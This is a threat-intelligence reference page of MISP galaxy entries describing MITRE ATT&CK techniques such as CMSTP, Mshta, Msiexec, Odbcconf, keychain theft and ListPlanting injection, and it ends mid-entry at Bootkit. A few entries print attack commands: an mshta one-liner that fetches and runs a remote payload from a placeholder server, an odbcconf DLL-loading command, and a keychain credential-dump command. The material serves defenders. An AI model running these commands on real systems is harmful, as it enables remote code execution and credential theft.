| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
CMSTP - T1218.003
Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.
CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
Internal MISP references
UUID 4cbc6a62-9e34-4f94-8a19-5c1a11392a49 which can be used as unique global reference for CMSTP - T1218.003 in MISP communities and other software using the MISP galaxy
External references
- http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ - webarchive
- https://attack.mitre.org/techniques/T1218/003 - webarchive
- https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) - webarchive
- https://github.com/api0cradle/UltimateAppLockerByPassList - webarchive
- https://msitpros.com/?p=3960 - webarchive
- https://twitter.com/ItsReallyNick/status/958789644165894146 - webarchive
- https://twitter.com/NickTyrer/status/958450014111633408 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.003 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
InstallUtil - T1218.004
Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v and C:\Windows\Microsoft.NET\Framework64\v.
InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)
Internal MISP references
UUID 2cd950a6-16c4-404a-aa01-044322395107 which can be used as unique global reference for InstallUtil - T1218.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.004 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Mshta - T1218.005
Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Internal MISP references
UUID 840a987a-99bd-4a80-a5c9-0cb2baa6cade which can be used as unique global reference for Mshta - T1218.005 in MISP communities and other software using the MISP galaxy
External references
- https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/ - webarchive
- https://attack.mitre.org/techniques/T1218/005 - webarchive
- https://en.wikipedia.org/wiki/HTML_Application - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/ - webarchive
- https://msdn.microsoft.com/library/ms536471.aspx - webarchive
- https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf - webarchive
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html - webarchive
- https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html - webarchive
- https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.005 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Hardware - T1592.001
Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).
Internal MISP references
UUID 24286c33-d4a4-4419-85c2-1d094a896c26 which can be used as unique global reference for Hardware - T1592.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1592.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Geofencing - T1627.001
Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)
Geofencing is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.
One method to accomplish Geofencing on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other Geofencing methods, this requires that the user has granted the ACCESS_FINE_LOCATION and ACCESS_BACKGROUND_LOCATION permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include "Allow only while using the app", which will effectively prohibit background location collection.
Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call requestWhenInUseAuthorization() or requestAlwaysAuthorization(), depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.
Geofencing can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.
Internal MISP references
UUID e422b6fa-4739-46b9-992e-82f1b350c780 which can be used as unique global reference for Geofencing - T1627.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1627.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Msiexec - T1218.007
Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.
Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
Internal MISP references
UUID 365be77f-fc0e-42ee-bac8-4faf806d9336 which can be used as unique global reference for Msiexec - T1218.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/007 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ - webarchive
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec - webarchive
- https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Msiexec/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.007 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Odbcconf - T1218.008
Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.
Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
Internal MISP references
UUID 6e3bd510-6b33-41a4-af80-2d80f3ee0071 which can be used as unique global reference for Odbcconf - T1218.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/008 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/ - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/ - webarchive
- https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.008 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Keychain - T1634.001
Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.
On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, adversaries can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)
Internal MISP references
UUID 8605a0ec-b44a-4e98-a7fc-87d4bd3acb66 which can be used as unique global reference for Keychain - T1634.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1634/001 - webarchive
- https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/ - webarchive
- https://developer.apple.com/documentation/security/keychain_services - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1634.001 |
| kill_chain | ['mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['iOS'] |
Related clusters
To see the related clusters, click here.
Domains - T1583.001
Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.
Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)
Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)
Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)
Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)
Internal MISP references
UUID 40f5caa0-4cb7-4117-89fc-d421bb493df3 which can be used as unique global reference for Domains - T1583.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1583/001 - webarchive
- https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html - webarchive
- https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html - webarchive
- https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html - webarchive
- https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/ - webarchive
- https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF - webarchive
- https://threatconnect.com/blog/infrastructure-research-hunting/ - webarchive
- https://us-cert.cisa.gov/ncas/alerts/aa20-258a - webarchive
- https://us-cert.cisa.gov/ncas/tips/ST05-016 - webarchive
- https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf - webarchive
- https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/ - webarchive
- https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/ - webarchive
- https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf - webarchive
- https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/ - webarchive
- https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/ - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - webarchive
- https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/ - webarchive
- https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits - webarchive
- https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583.001 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Domain Registration', 'Domain Name: Passive DNS'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Domains - T1584.001
Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)
Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)
Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)
Internal MISP references
UUID f9cc4d06-775f-4ee1-b401-4e2cc0da30ba which can be used as unique global reference for Domains - T1584.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1584/001 - webarchive
- https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover - webarchive
- https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/ - webarchive
- https://unit42.paloaltonetworks.com/domain-shadowing/ - webarchive
- https://www.icann.org/groups/ssac/documents/sac-007-en - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584.001 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Domain Registration', 'Domain Name: Passive DNS'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Keychain - T1555.001
Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)
Internal MISP references
UUID 1eaebf46-e361-4437-bc23-d5d65a3b92e3 which can be used as unique global reference for Keychain - T1555.001 in MISP communities and other software using the MISP galaxy
External references
- http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way - webarchive
- https://attack.mitre.org/techniques/T1555/001 - webarchive
- https://developer.apple.com/documentation/security/keychain_services - webarchive
- https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py - webarchive
- https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption - webarchive
- https://www.netmeister.org/blog/keychain-passwords.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1555.001 |
| kill_chain | ['attack-macOS:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
ListPlanting - T1055.015
Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.
ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other Process Injection methods.
Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)
Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.
Internal MISP references
UUID eb2cb5cb-ae87-4de0-8c35-da2a17aafb99 which can be used as unique global reference for ListPlanting - T1055.015 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1055/015 - webarchive
- https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview - webarchive
- https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/ - webarchive
- https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.015 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Launchctl - T1569.001
Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
Adversaries use launchctl to execute commands and programs as Launch Agents or Launch Daemons. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w "%s/Library/LaunchAgents/%s" or /bin/launchctl load to execute Launch Agents or Launch Daemons.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
Internal MISP references
UUID 810aa4ad-61c9-49cb-993f-daa06199421d which can be used as unique global reference for Launchctl - T1569.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1569/001 - webarchive
- https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ - webarchive
- https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - webarchive
- https://ss64.com/osx/launchctl.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1569.001 |
| kill_chain | ['attack-macOS:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Service: Service Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Malware - T1587.001
Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)
As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.
Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.(Citation: FireEye APT29)
Internal MISP references
UUID 212306d8-efa4-44c9-8c2d-ed3d2e224aa0 which can be used as unique global reference for Malware - T1587.001 in MISP communities and other software using the MISP galaxy
External references
- https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/ - webarchive
- https://attack.mitre.org/techniques/T1587/001 - webarchive
- https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ - webarchive
- https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/ - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - webarchive
- https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1587.001 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Malware - T1588.001
Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.
In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).
Internal MISP references
UUID 7807d3a4-a885-4639-a786-c1ed41484970 which can be used as unique global reference for Malware - T1588.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1588.001 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Credentials - T1589.001
Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.
Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)
Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).
Internal MISP references
UUID bc76d0a4-db11-4551-9ac4-01a469cfb161 which can be used as unique global reference for Credentials - T1589.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1589/001 - webarchive
- https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks - webarchive
- https://github.com/dxa4481/truffleHog - webarchive
- https://github.com/michenriksen/gitrob - webarchive
- https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/ - webarchive
- https://sec.okta.com/scatterswine - webarchive
- https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ - webarchive
- https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196 - webarchive
- https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/ - webarchive
- https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1589.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Software - T1592.002
Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).
Internal MISP references
UUID baf60e1a-afe5-4d31-830f-1b1ba2351884 which can be used as unique global reference for Software - T1592.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1592.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Bootkit - T1542.003
Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
